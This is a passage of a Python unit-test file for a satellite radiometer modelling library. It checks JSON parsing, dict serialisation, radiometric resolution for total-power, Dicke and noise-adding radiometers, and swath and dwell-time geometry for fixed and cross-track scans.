TotalPowerRadiometerSystem.from_json(self.tpr_sys1_json) self.assertIsInstance(o, TotalPowerRadiometerSystem) self.assertEqual(o._id, 121) self.assertEqual(o._type, "TotalPowerRadiometerSystem") self.assertEqual(o.tlLoss, 0.5) self.assertEqual(o.tlPhyTemp, 290) self.assertEqual(o.rfAmpGain, 30) self.assertEqual(o.rfAmpInpNoiseTemp, 200) self.assertEqual(o.rfAmpGainVariation, 10) self.assertEqual(o.mixerGain, 23) self.assertEqual(o.mixerInpNoiseTemp, 1200) self.assertEqual(o.mixerGainVariation, 2) self.assertEqual(o.ifAmpGain, 30) self.assertEqual(o.ifAmpInputNoiseTemp, 100) self.assertEqual(o.ifAmpGainVariation, 10) self.assertEqual(o.integratorVoltageGain, 1) self.assertIsNone(o.predetectionGain) self.assertIsNone(o.predetectionInpNoiseTemp) self.assertIsNone(o.predetectionGainVariation) self.assertEqual(o.integrationTime, 100e-3) self.assertEqual(o.bandwidth, 10e6) o = TotalPowerRadiometerSystem.from_json(self.tpr_sys2_json) self.assertIsInstance(o, TotalPowerRadiometerSystem) self.assertIsNone(o._id) self.assertEqual(o._type, "TotalPowerRadiometerSystem") self.assertIsNone(o.tlLoss) self.assertIsNone(o.tlPhyTemp) self.assertIsNone(o.rfAmpGain) self.assertIsNone(o.rfAmpInpNoiseTemp) self.assertIsNone(o.rfAmpGainVariation) self.assertIsNone(o.mixerGain) self.assertIsNone(o.mixerInpNoiseTemp) self.assertIsNone(o.mixerGainVariation) self.assertIsNone(o.ifAmpGain) self.assertIsNone(o.ifAmpInputNoiseTemp) self.assertIsNone(o.ifAmpGainVariation) self.assertEqual(o.integratorVoltageGain, 1) self.assertEqual(o.predetectionGain, 83) self.assertEqual(o.predetectionInpNoiseTemp, 200) self.assertEqual(o.predetectionGainVariation, 2000000) self.assertEqual(o.integrationTime, 100e-3) self.assertEqual(o.bandwidth, 10e6) def test_to_dict(self): o = TotalPowerRadiometerSystem.from_json(self.tpr_sys1_json) self.assertEqual(o.to_dict(), {'tlLoss': 0.5, 'tlPhyTemp': 290.0, 'rfAmpGain': 30.0, 'rfAmpInpNoiseTemp': 200.0, 'rfAmpGainVariation': 10.0, 'mixerGain,': 23.0, 'mixerInpNoiseTemp': 1200.0, 'mixerGainVariation': 2.0, 'ifAmpGain': 30.0, 'ifAmpInputNoiseTemp': 100.0, 'ifAmpGainVariation': 10.0, 'integratorVoltageGain': 1.0, 'predetectionGain': None, 'predetectionInpNoiseTemp': None, 'predetectionGainVariation': None, 'integrationTime': 0.1, 'bandwidth': 10000000.0, '@id': 121, '@type': 'TOTAL_POWER'} ) o = TotalPowerRadiometerSystem.from_json(self.tpr_sys2_json) self.assertEqual(o.to_dict(), {'tlLoss': None, 'tlPhyTemp': None, 'rfAmpGain': None, 'rfAmpInpNoiseTemp': None, 'rfAmpGainVariation': None, 'mixerGain,': None, 'mixerInpNoiseTemp': None, 'mixerGainVariation': None, 'ifAmpGain': None, 'ifAmpInputNoiseTemp': None, 'ifAmpGainVariation': None, 'integratorVoltageGain': 1.0, 'predetectionGain': 83.0, 'predetectionInpNoiseTemp': 200.0, 'predetectionGainVariation': 2000000.0, 'integrationTime': 0.1, 'bandwidth': 10000000.0, '@id': None, '@type': 'TOTAL_POWER'} ) def test_compute_integration_time(self): self.assertEqual(TotalPowerRadiometerSystem.compute_integration_time(td=1.5, integration_time_spec=0.5), 0.5) self.assertEqual(TotalPowerRadiometerSystem.compute_integration_time(td=1.5, integration_time_spec=2), 1.5) self.assertEqual(TotalPowerRadiometerSystem.compute_integration_time(td=1.5, integration_time_spec=None), 1.5) def test_compute_predetection_sec_params(self): x = TotalPowerRadiometerSystem.compute_predetection_sec_params(predetectionBandwidth=10e6, tlLoss=0.5, tlPhyTemp=290, rfAmpGain=30, mixerGain=23, ifAmpGain=30, rfAmpGainVariation=10, mixerGainVariation=2, ifAmpGainVariation=10, rfAmpInpNoiseTemp=200, mixerInpNoiseTemp=1200, ifAmpInputNoiseTemp=100) self.assertIsInstance(x, PredetectionSectionParams) self.assertAlmostEqual(x.G, 177827941.00389218) self.assertAlmostEqual(x.G_p, 180510851.84124476) self.assertAlmostEqual(x.G_m, 175171746.5823525) self.assertAlmostEqual(x.T_REC_q, 261.1355769549698) self.assertAlmostEqual(x.B, 10000000.0) x = TotalPowerRadiometerSystem.compute_predetection_sec_params(predetectionBandwidth=15e6, predetectionGain=90, predetectionGainVariation=10000000, predetectionInpNoiseTemp=300) self.assertIsInstance(x, PredetectionSectionParams) self.assertAlmostEqual(x.G, 1000000000) self.assertAlmostEqual(x.G_p, 1005000000) self.assertAlmostEqual(x.G_m, 995000000) self.assertAlmostEqual(x.T_REC_q, 300) self.assertAlmostEqual(x.B, 15000000.0) # no RF amplifier x = TotalPowerRadiometerSystem.compute_predetection_sec_params(predetectionBandwidth=10e6, tlLoss=0.5, tlPhyTemp=290, rfAmpGain=1, mixerGain=23, ifAmpGain=30, rfAmpGainVariation=0, mixerGainVariation=2, ifAmpGainVariation=10, rfAmpInpNoiseTemp=0, mixerInpNoiseTemp=1200, ifAmpInputNoiseTemp=100) self.assertIsInstance(x, PredetectionSectionParams) self.assertAlmostEqual(x.G, 223872.1138568339) self.assertAlmostEqual(x.G_p, 226119.10297269153) self.assertAlmostEqual(x.G_m, 221636.34492551928) self.assertAlmostEqual(x.T_REC_q, 1104.9756026018772) self.assertAlmostEqual(x.B, 10000000.0) def test_compute_system_params(self): antenna = Antenna.from_dict({"radiationEfficiency": 0.8, "phyTemp": 270}) pd_sec_params = TotalPowerRadiometerSystem.compute_predetection_sec_params(predetectionBandwidth=10e6, tlLoss=0.5, tlPhyTemp=290, rfAmpGain=30, mixerGain=23, ifAmpGain=30, rfAmpGainVariation=10, mixerGainVariation=2, ifAmpGainVariation=10, rfAmpInpNoiseTemp=200, mixerInpNoiseTemp=1200, ifAmpInputNoiseTemp=100) G = 180000000 pd_sec_params = PredetectionSectionParams(G=G, G_p=G+0.01*G, G_m=G-0.01*G, T_REC_q=260, B=10e6) x = TotalPowerRadiometerSystem.compute_system_params(antenna, pd_sec_params, integratorVoltageGain=1000, T_A_q=290) self.assertIsInstance(x, SystemParams) self.assertAlmostEqual(x.G_s_delta/x.G_s_bar, 0.02) self.assertAlmostEqual(x.T_A, 286) self.assertAlmostEqual(x.T_SYS, 546) def test_compute_radiometric_resolution(self): # system 1 antenna = Antenna.from_dict({"radiationEfficiency": 0.8, "phyTemp": 270}) o = TotalPowerRadiometerSystem.from_json(self.tpr_sys1_json) # note that these is 100ms integration time specification self.assertAlmostEqual(o.compute_radiometric_resolution(td=200e-3, antenna=antenna, T_A_q=300), 16.676630237262927) self.assertAlmostEqual(o.compute_radiometric_resolution(td=200e-3, antenna=antenna, T_A_q=600), 23.886384796495147) self.assertAlmostEqual(o.compute_radiometric_resolution(td=500e-3, antenna=antenna, T_A_q=300), 16.676630237262927) self.assertAlmostEqual(o.compute_radiometric_resolution(td=50e-3, antenna=antenna, T_A_q=300), 16.685867420640534) antenna = Antenna.from_dict({"radiationEfficiency": 0.8, "phyTemp": 350}) self.assertAlmostEqual(o.compute_radiometric_resolution(td=200e-3, antenna=antenna, T_A_q=300), 17.15728054121174) antenna = Antenna.from_dict({"radiationEfficiency": 0.5, "phyTemp": 270}) self.assertAlmostEqual(o.compute_radiometric_resolution(td=200e-3, antenna=antenna, T_A_q=300), 16.406264441291718) # reduced radiantion-efficiency appears to make the radiometer more sensitive # system 2 o = TotalPowerRadiometerSystem.from_json(self.tpr_sys2_json) # note that these is 100ms integration time specification antenna = Antenna.from_dict({"radiationEfficiency": 0.8, "phyTemp": 270}) self.assertAlmostEqual(o.compute_radiometric_resolution(td=200e-3, antenna=antenna, T_A_q=300), 4.976310348842347) class TestUnbalancedDikeRadiometerSystem(unittest.TestCase): @classmethod def setUpClass(cls): cls.udr_sys1_json = '{"tlLoss": 0.5,' \ '"tlPhyTemp": 290,' \ '"rfAmpGain": 30,' \ '"rfAmpInpNoiseTemp": 200,' \ '"rfAmpGainVariation": 10,' \ '"mixerGain": 23,' \ '"mixerInpNoiseTemp": 1200,' \ '"mixerGainVariation": 2,' \ '"ifAmpGain": 30,' \ '"ifAmpInputNoiseTemp": 100,' \ '"ifAmpGainVariation": 10,' \ '"dickeSwitchOutputNoiseTemperature": 90,' \ '"referenceTemperature": 300,' \ '"integratorVoltageGain": 1,' \ '"integrationTime": 1,' \ '"bandwidth": 100e6,' \ '"@id": "abc"}' # See Section 7-6, end of Pg. 282. cls.udr_sys2_json = '{"predetectionGain": 83,' \ '"predetectionInpNoiseTemp": 700,' \ '"predetectionGainVariation": 1995262.314968883,' \ '"integrationTime": 1,' \ '"bandwidth": 100e6,' \ '"referenceTemperature": 300,' \ '"integratorVoltageGain": 1 }' def test_from_json(self): """ Test typical initialization of the unbalanced Dicke radiometer system. """ o = UnbalancedDikeRadiometerSystem.from_json(self.udr_sys1_json) self.assertIsInstance(o, UnbalancedDikeRadiometerSystem) self.assertEqual(o._id, "abc") self.assertEqual(o._type, "UnbalancedDikeRadiometerSystem") self.assertEqual(o.tlLoss, 0.5) self.assertEqual(o.tlPhyTemp, 290) self.assertEqual(o.rfAmpGain, 30) self.assertEqual(o.rfAmpInpNoiseTemp, 200) self.assertEqual(o.rfAmpGainVariation, 10) self.assertEqual(o.mixerGain, 23) self.assertEqual(o.mixerInpNoiseTemp, 1200) self.assertEqual(o.mixerGainVariation, 2) self.assertEqual(o.ifAmpGain, 30) self.assertEqual(o.ifAmpInputNoiseTemp, 100) self.assertEqual(o.ifAmpGainVariation, 10) self.assertEqual(o.dickeSwitchOutputNoiseTemperature, 90) self.assertEqual(o.referenceTemperature, 300) self.assertEqual(o.integratorVoltageGain, 1) self.assertIsNone(o.predetectionGain) self.assertIsNone(o.predetectionInpNoiseTemp) self.assertIsNone(o.predetectionGainVariation) self.assertEqual(o.integrationTime, 1) self.assertEqual(o.bandwidth, 100e6) o = UnbalancedDikeRadiometerSystem.from_json(self.udr_sys2_json) self.assertIsInstance(o, UnbalancedDikeRadiometerSystem) self.assertIsNone(o._id) self.assertEqual(o._type, "UnbalancedDikeRadiometerSystem") self.assertIsNone(o.tlLoss) self.assertIsNone(o.tlPhyTemp) self.assertIsNone(o.rfAmpGain) self.assertIsNone(o.rfAmpInpNoiseTemp) self.assertIsNone(o.rfAmpGainVariation) self.assertIsNone(o.mixerGain) self.assertIsNone(o.mixerInpNoiseTemp) self.assertIsNone(o.mixerGainVariation) self.assertIsNone(o.ifAmpGain) self.assertIsNone(o.ifAmpInputNoiseTemp) self.assertIsNone(o.ifAmpGainVariation) self.assertIsNone(o.dickeSwitchOutputNoiseTemperature) self.assertEqual(o.referenceTemperature, 300) self.assertEqual(o.integratorVoltageGain, 1) self.assertEqual(o.predetectionGain, 83) self.assertEqual(o.predetectionInpNoiseTemp, 700) self.assertEqual(o.predetectionGainVariation, 1995262.314968883) self.assertEqual(o.integrationTime, 1) self.assertEqual(o.bandwidth, 100e6) def test_to_dict(self): o = UnbalancedDikeRadiometerSystem.from_json(self.udr_sys1_json) self.assertEqual(o.to_dict(), {'tlLoss': 0.5, 'tlPhyTemp': 290.0, 'rfAmpGain': 30.0, 'rfAmpInpNoiseTemp': 200.0, 'rfAmpGainVariation': 10.0, 'mixerGain,': 23.0, 'mixerInpNoiseTemp': 1200.0, 'mixerGainVariation': 2.0, 'ifAmpGain': 30.0, 'ifAmpInputNoiseTemp': 100.0, 'ifAmpGainVariation': 10.0, 'dickeSwitchOutputNoiseTemperature':90.0, 'referenceTemperature':300.0, 'integratorVoltageGain': 1.0, 'predetectionGain': None, 'predetectionInpNoiseTemp': None, 'predetectionGainVariation': None, 'integrationTime': 1.0, 'bandwidth': 100000000.0, '@id': "abc", '@type': 'UNBALANCED_DICKE'} ) o = UnbalancedDikeRadiometerSystem.from_json(self.udr_sys2_json) self.assertEqual(o.to_dict(), {'tlLoss': None, 'tlPhyTemp': None, 'rfAmpGain': None, 'rfAmpInpNoiseTemp': None, 'rfAmpGainVariation': None, 'mixerGain,': None, 'mixerInpNoiseTemp': None, 'mixerGainVariation': None, 'ifAmpGain': None, 'ifAmpInputNoiseTemp': None, 'ifAmpGainVariation': None, 'dickeSwitchOutputNoiseTemperature':None, 'referenceTemperature':300.0, 'integratorVoltageGain': 1.0, 'predetectionGain': 83.0, 'predetectionInpNoiseTemp': 700.0, 'predetectionGainVariation': 1995262.314968883, 'integrationTime': 1.0, 'bandwidth': 100000000.0, '@id': None, '@type': 'UNBALANCED_DICKE'} ) def test_compute_radiometric_resolution(self): antenna = Antenna.from_dict({"radiationEfficiency": 0.8, "phyTemp": 300}) #################################################### System 1 #################################################### ############# Test with T_A equal to the reference temperature ############# o = UnbalancedDikeRadiometerSystem.from_json(self.udr_sys1_json) self.assertAlmostEqual(o.compute_radiometric_resolution(td=1.5, antenna=antenna, T_A_q=300), 0.13022711539099396) # note that these is 1s integration time specification #################################################### System 2 #################################################### ############# See Section 7-6, end of Pg. 282. for truth values for the below calculation. ############# ############# Test with T_A equal to the reference temperature o = UnbalancedDikeRadiometerSystem.from_json(self.udr_sys2_json) self.assertAlmostEqual(o.compute_radiometric_resolution(td=1.5, antenna=antenna, T_A_q=300), 0.2) # Compare with total-power radiometer # Initialize a total-power radiometer with the same specifications. Note that however the predetection noise temperature shall be lower # for a total-power radiometer since it does not include the Dicke switch. o = TotalPowerRadiometerSystem.from_json(self.udr_sys2_json) self.assertAlmostEqual(o.compute_radiometric_resolution(td=1.5, antenna=antenna, T_A_q=300), 10.000499987500632) ############# Test with T_A not equal to the reference temperature o = UnbalancedDikeRadiometerSystem.from_json(self.udr_sys2_json) # note that these is 1s integration time specification antenna = Antenna.from_dict({"radiationEfficiency": 1, "phyTemp": 300}) # setting efficiency to 100% to remove effect of antenna physical temperature self.assertAlmostEqual(o.compute_radiometric_resolution(td=1.5, antenna=antenna, T_A_q=0), 3.0049625621627984) # Compare with total-power radiometer # Initialize a total-power radiometer with the same specifications. Note that however the predetection noise temperature shall be lower # for a total-power radiometer since it does not include the Dicke switch. o = TotalPowerRadiometerSystem.from_json(self.udr_sys2_json) self.assertAlmostEqual(o.compute_radiometric_resolution(td=1.5, antenna=antenna, T_A_q=0), 7.000349991250442) class TestBalancedDikeRadiometerSystem(unittest.TestCase): @classmethod def setUpClass(cls): cls.bdr_sys1_json = '{"tlLoss": 0.5,' \ '"tlPhyTemp": 290,' \ '"rfAmpGain": 30,' \ '"rfAmpInpNoiseTemp": 200,' \ '"rfAmpGainVariation": 10,' \ '"mixerGain": 23,' \ '"mixerInpNoiseTemp": 1200,' \ '"mixerGainVariation": 2,' \ '"ifAmpGain": 30,' \ '"ifAmpInputNoiseTemp": 100,' \ '"ifAmpGainVariation": 10,' \ '"dickeSwitchOutputNoiseTemperature": 90,' \ '"integratorVoltageGain": 1,' \ '"integrationTime": 1,' \ '"bandwidth": 100e6,' \ '"@id": "abc"}' # See Section 7-6, end of Pg. 282. cls.bdr_sys2_json = '{"predetectionGain": 83,' \ '"predetectionInpNoiseTemp": 700,' \ '"predetectionGainVariation": 1995262.314968883,' \ '"integrationTime": 1,' \ '"bandwidth": 100e6,' \ '"integratorVoltageGain": 1 }' def test_from_json(self): """ Test typical initialization of the balanced Dicke radiometer system. """ o = BalancedDikeRadiometerSystem.from_json(self.bdr_sys1_json) self.assertIsInstance(o, BalancedDikeRadiometerSystem) self.assertEqual(o._id, "abc") self.assertEqual(o._type, "BalancedDikeRadiometerSystem") self.assertEqual(o.tlLoss, 0.5) self.assertEqual(o.tlPhyTemp, 290) self.assertEqual(o.rfAmpGain, 30) self.assertEqual(o.rfAmpInpNoiseTemp, 200) self.assertEqual(o.rfAmpGainVariation, 10) self.assertEqual(o.mixerGain, 23) self.assertEqual(o.mixerInpNoiseTemp, 1200) self.assertEqual(o.mixerGainVariation, 2) self.assertEqual(o.ifAmpGain, 30) self.assertEqual(o.ifAmpInputNoiseTemp, 100) self.assertEqual(o.ifAmpGainVariation, 10) self.assertEqual(o.dickeSwitchOutputNoiseTemperature, 90) self.assertEqual(o.integratorVoltageGain, 1) self.assertIsNone(o.predetectionGain) self.assertIsNone(o.predetectionInpNoiseTemp) self.assertIsNone(o.predetectionGainVariation) self.assertEqual(o.integrationTime, 1) self.assertEqual(o.bandwidth, 100e6) o = BalancedDikeRadiometerSystem.from_json(self.bdr_sys2_json) self.assertIsInstance(o, BalancedDikeRadiometerSystem) self.assertIsNone(o._id) self.assertEqual(o._type, "BalancedDikeRadiometerSystem") self.assertIsNone(o.tlLoss) self.assertIsNone(o.tlPhyTemp) self.assertIsNone(o.rfAmpGain) self.assertIsNone(o.rfAmpInpNoiseTemp) self.assertIsNone(o.rfAmpGainVariation) self.assertIsNone(o.mixerGain) self.assertIsNone(o.mixerInpNoiseTemp) self.assertIsNone(o.mixerGainVariation) self.assertIsNone(o.ifAmpGain) self.assertIsNone(o.ifAmpInputNoiseTemp) self.assertIsNone(o.ifAmpGainVariation) self.assertIsNone(o.dickeSwitchOutputNoiseTemperature) self.assertEqual(o.integratorVoltageGain, 1) self.assertEqual(o.predetectionGain, 83) self.assertEqual(o.predetectionInpNoiseTemp, 700) self.assertEqual(o.predetectionGainVariation, 1995262.314968883) self.assertEqual(o.integrationTime, 1) self.assertEqual(o.bandwidth, 100e6) def test_to_dict(self): o = BalancedDikeRadiometerSystem.from_json(self.bdr_sys1_json) self.assertEqual(o.to_dict(), {'tlLoss': 0.5, 'tlPhyTemp': 290.0, 'rfAmpGain': 30.0, 'rfAmpInpNoiseTemp': 200.0, 'rfAmpGainVariation': 10.0, 'mixerGain,': 23.0, 'mixerInpNoiseTemp': 1200.0, 'mixerGainVariation': 2.0, 'ifAmpGain': 30.0, 'ifAmpInputNoiseTemp': 100.0, 'ifAmpGainVariation': 10.0, 'dickeSwitchOutputNoiseTemperature':90.0, 'integratorVoltageGain': 1.0, 'predetectionGain': None, 'predetectionInpNoiseTemp': None, 'predetectionGainVariation': None, 'integrationTime': 1.0, 'bandwidth': 100000000.0, '@id': "abc", '@type': 'BALANCED_DICKE'} ) o = BalancedDikeRadiometerSystem.from_json(self.bdr_sys2_json) self.assertEqual(o.to_dict(), {'tlLoss': None, 'tlPhyTemp': None, 'rfAmpGain': None, 'rfAmpInpNoiseTemp': None, 'rfAmpGainVariation': None, 'mixerGain,': None, 'mixerInpNoiseTemp': None, 'mixerGainVariation': None, 'ifAmpGain': None, 'ifAmpInputNoiseTemp': None, 'ifAmpGainVariation': None, 'dickeSwitchOutputNoiseTemperature':None, 'integratorVoltageGain': 1.0, 'predetectionGain': 83.0, 'predetectionInpNoiseTemp': 700.0, 'predetectionGainVariation': 1995262.314968883, 'integrationTime': 1.0, 'bandwidth': 100000000.0, '@id': None, '@type': 'BALANCED_DICKE'} ) def test_compute_radiometric_resolution(self): antenna = Antenna.from_dict({"radiationEfficiency": 1, "phyTemp": 300}) # setting efficiency to 100% to remove effect of antenna physical temperature o = BalancedDikeRadiometerSystem.from_json(self.bdr_sys1_json) self.assertAlmostEqual(o.compute_radiometric_resolution(td=1.5, antenna=antenna, T_A_q=0), 0.07022711539099395) # note that these is 1s integration time specification ############# Test with T_A not equal to the reference temperature o = BalancedDikeRadiometerSystem.from_json(self.bdr_sys2_json) # note that these is 1s integration time specification self.assertAlmostEqual(o.compute_radiometric_resolution(td=1.5, antenna=antenna, T_A_q=0), 0.14) class TestNoiseAddingRadiometerSystem(unittest.TestCase): @classmethod def setUpClass(cls): cls.nar_sys1_json = '{"tlLoss": 0.5,' \ '"tlPhyTemp": 290,' \ '"rfAmpGain": 30,' \ '"rfAmpInpNoiseTemp": 200,' \ '"rfAmpGainVariation": 10,' \ '"mixerGain": 23,' \ '"mixerInpNoiseTemp": 1200,' \ '"mixerGainVariation": 2,' \ '"ifAmpGain": 30,' \ '"ifAmpInputNoiseTemp": 100,' \ '"ifAmpGainVariation": 10,' \ '"excessNoiseTemperature": 1000,' \ '"integratorVoltageGain": 1,' \ '"integrationTime": 1,' \ '"bandwidth": 100e6,' \ '"@id": "abc"}' # See Section 7-6, end of Pg. 282. cls.nar_sys2_json = '{"predetectionGain": 83,' \ '"predetectionInpNoiseTemp": 700,' \ '"predetectionGainVariation": 1995262.314968883,' \ '"excessNoiseTemperature": 10000,' \ '"integrationTime": 1,' \ '"bandwidth": 100e6,' \ '"integratorVoltageGain": 1 }' def test_from_json(self): """ Test typical initialization of the noise-adding radiometer system. """ o = NoiseAddingRadiometerSystem.from_json(self.nar_sys1_json) self.assertIsInstance(o, NoiseAddingRadiometerSystem) self.assertEqual(o._id, "abc") self.assertEqual(o._type, "NoiseAddingRadiometerSystem") self.assertEqual(o.tlLoss, 0.5) self.assertEqual(o.tlPhyTemp, 290) self.assertEqual(o.rfAmpGain, 30) self.assertEqual(o.rfAmpInpNoiseTemp, 200) self.assertEqual(o.rfAmpGainVariation, 10) self.assertEqual(o.mixerGain, 23) self.assertEqual(o.mixerInpNoiseTemp, 1200) self.assertEqual(o.mixerGainVariation, 2) self.assertEqual(o.ifAmpGain, 30) self.assertEqual(o.ifAmpInputNoiseTemp, 100) self.assertEqual(o.ifAmpGainVariation, 10) self.assertEqual(o.excessNoiseTemperature, 1000) self.assertEqual(o.integratorVoltageGain, 1) self.assertIsNone(o.predetectionGain) self.assertIsNone(o.predetectionInpNoiseTemp) self.assertIsNone(o.predetectionGainVariation) self.assertEqual(o.integrationTime, 1) self.assertEqual(o.bandwidth, 100e6) o = NoiseAddingRadiometerSystem.from_json(self.nar_sys2_json) self.assertIsInstance(o, NoiseAddingRadiometerSystem) self.assertIsNone(o._id) self.assertEqual(o._type, "NoiseAddingRadiometerSystem") self.assertIsNone(o.tlLoss) self.assertIsNone(o.tlPhyTemp) self.assertIsNone(o.rfAmpGain) self.assertIsNone(o.rfAmpInpNoiseTemp) self.assertIsNone(o.rfAmpGainVariation) self.assertIsNone(o.mixerGain) self.assertIsNone(o.mixerInpNoiseTemp) self.assertIsNone(o.mixerGainVariation) self.assertIsNone(o.ifAmpGain) self.assertIsNone(o.ifAmpInputNoiseTemp) self.assertIsNone(o.ifAmpGainVariation) self.assertEqual(o.excessNoiseTemperature, 10000) self.assertEqual(o.integratorVoltageGain, 1) self.assertEqual(o.predetectionGain, 83) self.assertEqual(o.predetectionInpNoiseTemp, 700) self.assertEqual(o.predetectionGainVariation, 1995262.314968883) self.assertEqual(o.integrationTime, 1) self.assertEqual(o.bandwidth, 100e6) def test_to_dict(self): o = NoiseAddingRadiometerSystem.from_json(self.nar_sys1_json) self.assertEqual(o.to_dict(), {'tlLoss': 0.5, 'tlPhyTemp': 290.0, 'rfAmpGain': 30.0, 'rfAmpInpNoiseTemp': 200.0, 'rfAmpGainVariation': 10.0, 'mixerGain,': 23.0, 'mixerInpNoiseTemp': 1200.0, 'mixerGainVariation': 2.0, 'ifAmpGain': 30.0, 'ifAmpInputNoiseTemp': 100.0, 'ifAmpGainVariation': 10.0, 'excessNoiseTemperature':1000.0, 'integratorVoltageGain': 1.0, 'predetectionGain': None, 'predetectionInpNoiseTemp': None, 'predetectionGainVariation': None, 'integrationTime': 1.0, 'bandwidth': 100000000.0, '@id': "abc", '@type': 'NOISE_ADDING'} ) o = NoiseAddingRadiometerSystem.from_json(self.nar_sys2_json) self.assertEqual(o.to_dict(), {'tlLoss': None, 'tlPhyTemp': None, 'rfAmpGain': None, 'rfAmpInpNoiseTemp': None, 'rfAmpGainVariation': None, 'mixerGain,': None, 'mixerInpNoiseTemp': None, 'mixerGainVariation': None, 'ifAmpGain': None, 'ifAmpInputNoiseTemp': None, 'ifAmpGainVariation': None, 'excessNoiseTemperature':10000.0, 'integratorVoltageGain': 1.0, 'predetectionGain': 83.0, 'predetectionInpNoiseTemp': 700.0, 'predetectionGainVariation': 1995262.314968883, 'integrationTime': 1.0, 'bandwidth': 100000000.0, '@id': None, '@type': 'NOISE_ADDING'} ) def test_compute_radiometric_resolution(self): antenna = Antenna.from_dict({"radiationEfficiency": 0.8, "phyTemp": 300}) o = NoiseAddingRadiometerSystem.from_json(self.nar_sys1_json) self.assertAlmostEqual(o.compute_radiometric_resolution(td=1.5, antenna=antenna, T_A_q=300), 0.23817636968082867) # note that these is 1s integration time specification o = NoiseAddingRadiometerSystem.from_json(self.nar_sys2_json) self.assertAlmostEqual(o.compute_radiometric_resolution(td=1.5, antenna=antenna, T_A_q=300), 0.24) # note that these is 1s integration time specification class TestFixedScan(unittest.TestCase): def test_from_json(self): """ Test typical initialization of the FixedScan object """ o = FixedScan.from_json('{"@id": 123}') self.assertIsInstance(o, FixedScan) self.assertEqual(o._id, 123) self.assertEqual(o._type, "FixedScan") o = FixedScan.from_json('{"@id": "abc"}') self.assertIsInstance(o, FixedScan) self.assertEqual(o._id, "abc") self.assertEqual(o._type, "FixedScan") o = FixedScan.from_json('{}') self.assertIsInstance(o, FixedScan) self.assertIsNone(o._id) self.assertEqual(o._type, "FixedScan") def test_to_dict(self): o = FixedScan.from_json('{"@id": 123}') self.assertEqual(o.to_dict(), {'@id': 123, '@type': 'FIXED'}) o = FixedScan.from_json('{"@id": "abc"}') self.assertEqual(o.to_dict(), {'@id': "abc", '@type': 'FIXED'}) o = FixedScan.from_json('{}') self.assertEqual(o.to_dict(), {'@id': None, '@type': 'FIXED'}) def test_compute_instru_field_of_view(self): o = FixedScan.from_json('{"@id": "abc"}') instru_orientation = Orientation.from_dict({"referenceFrame": "SC_BODY_FIXED", "convention": "SIDE_LOOK","sideLookAngle":10}) antenna_fov_sph_geom = SphericalGeometry.from_dict({"shape": "CIRCULAR", "diameter": 30}) instru_fov_sph_geom = antenna_fov_sph_geom self.assertEqual(o.compute_instru_field_of_view(antenna_fov_sph_geom=antenna_fov_sph_geom, instru_orientation=instru_orientation), ViewGeometry(orien=instru_orientation, sph_geom=instru_fov_sph_geom)) antenna_fov_sph_geom = SphericalGeometry.from_dict({"shape": "RECTANGULAR", "angleHeight": 10, "angleWidth": 20}) instru_fov_sph_geom = antenna_fov_sph_geom self.assertEqual(o.compute_instru_field_of_view(antenna_fov_sph_geom=antenna_fov_sph_geom, instru_orientation=instru_orientation), ViewGeometry(orien=instru_orientation, sph_geom=instru_fov_sph_geom)) def test_compute_dwell_time_per_ground_pixel(self): o = FixedScan.from_json('{"@id": 123}') self.assertAlmostEqual(o.compute_dwell_time_per_ground_pixel(res_AT_m=1000, sat_speed_kmps=7.8), 0.1282051282051282) def test_compute_swath_width(self): o = FixedScan.from_json('{"@id": 123}') antenna_fov_sph_geom = SphericalGeometry.from_dict({"shape": "CIRCULAR", "diameter": 30}) # using approximate swath formula as the truth data self.assertAlmostEqual(o.compute_swath_width(alt_km=500, instru_look_angle_deg=0, antenna_fov_sph_geom=antenna_fov_sph_geom), 30*np.pi/180*500, delta=25) self.assertAlmostEqual(o.compute_swath_width(alt_km=700, instru_look_angle_deg=0, antenna_fov_sph_geom=antenna_fov_sph_geom), 30*np.pi/180*700, delta=25) self.assertAlmostEqual(o.compute_swath_width(alt_km=500, instru_look_angle_deg=15, antenna_fov_sph_geom=antenna_fov_sph_geom), 30*np.pi/180*(500/np.cos(np.deg2rad(15))), delta=25) class TestCrossTrackScan(unittest.TestCase): def test_from_json(self): """ Test typical initialization of the CrossTrackScan object """ o = CrossTrackScan.from_json('{"@id": 123, "scanWidth": 120, "interScanOverheadTime": 1e-3}') self.assertIsInstance(o, CrossTrackScan) self.assertEqual(o._id, 123) self.assertEqual(o._type, "CrossTrackScan") self.assertEqual(o.scanWidth, 120) self.assertEqual(o.interScanOverheadTime, 1e-3) def test_to_dict(self): o = CrossTrackScan.from_json('{"@id": 123, "scanWidth": 120, "interScanOverheadTime": 1e-3}') self.assertEqual(o.to_dict(), {'@id': 123, '@type': 'CROSS_TRACK', "scanWidth": 120.0, "interScanOverheadTime": 0.001}) def test_compute_instru_field_of_view(self): o = CrossTrackScan.from_json('{"@id": 123, "scanWidth": 120, "interScanOverheadTime": 1e-3}') instru_orientation = Orientation.from_dict({"referenceFrame": "SC_BODY_FIXED", "convention": "SIDE_LOOK","sideLookAngle":10}) antenna_fov_sph_geom = SphericalGeometry.from_dict({"shape": "CIRCULAR", "diameter": 30}) instru_fov_sph_geom = SphericalGeometry.from_dict({"shape": "RECTANGULAR", "angleHeight": 30, "angleWidth": 150}) self.assertEqual(o.compute_instru_field_of_view(antenna_fov_sph_geom=antenna_fov_sph_geom, instru_orientation=instru_orientation), ViewGeometry(orien=instru_orientation, sph_geom=instru_fov_sph_geom)) antenna_fov_sph_geom = SphericalGeometry.from_dict({"shape": "RECTANGULAR", "angleHeight": 15, "angleWidth": 60}) instru_fov_sph_geom = SphericalGeometry.from_dict({"shape": "RECTANGULAR", "angleHeight": 15, "angleWidth": 180}) self.assertEqual(o.compute_instru_field_of_view(antenna_fov_sph_geom=antenna_fov_sph_geom, instru_orientation=instru_orientation), ViewGeometry(orien=instru_orientation, sph_geom=instru_fov_sph_geom)) def test_compute_dwell_time_per_ground_pixel(self): o = CrossTrackScan.from_json('{"@id": 123, "scanWidth": 120, "interScanOverheadTime": 1e-3}') self.assertAlmostEqual(o.compute_dwell_time_per_ground_pixel(res_AT_m=5000, sat_speed_kmps=7.8, iFOV_CT_deg=4), 0.021334188034188035) self.assertAlmostEqual(o.compute_dwell_time_per_ground_pixel(res_AT_m=10000, sat_speed_kmps=7.8, iFOV_CT_deg=4), 2*0.021334188034188035, places=4) # dwell time should be around doubled in case of double along-track pixel resolution self.assertAlmostEqual(o.compute_dwell_time_per_ground_pixel(res_AT_m=5000, sat_speed_kmps=7.8, iFOV_CT_deg=8), 2*0.021334188034188035, places=4) # dwell time should be around doubled in case of cross-track iFOV o = CrossTrackScan.from_json('{"@id": 123, 